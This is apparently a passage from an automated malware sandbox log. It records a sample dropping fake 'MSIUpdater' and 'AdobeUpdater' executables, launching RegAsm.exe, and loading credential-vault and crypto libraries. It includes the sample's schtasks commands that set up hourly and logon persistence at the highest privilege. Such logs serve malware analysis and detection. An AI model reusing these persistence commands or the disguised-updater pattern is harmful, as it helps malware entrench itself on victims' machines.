Source: unknown	Process created: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe "C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe "C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process created: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe "C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: mscoree.dll
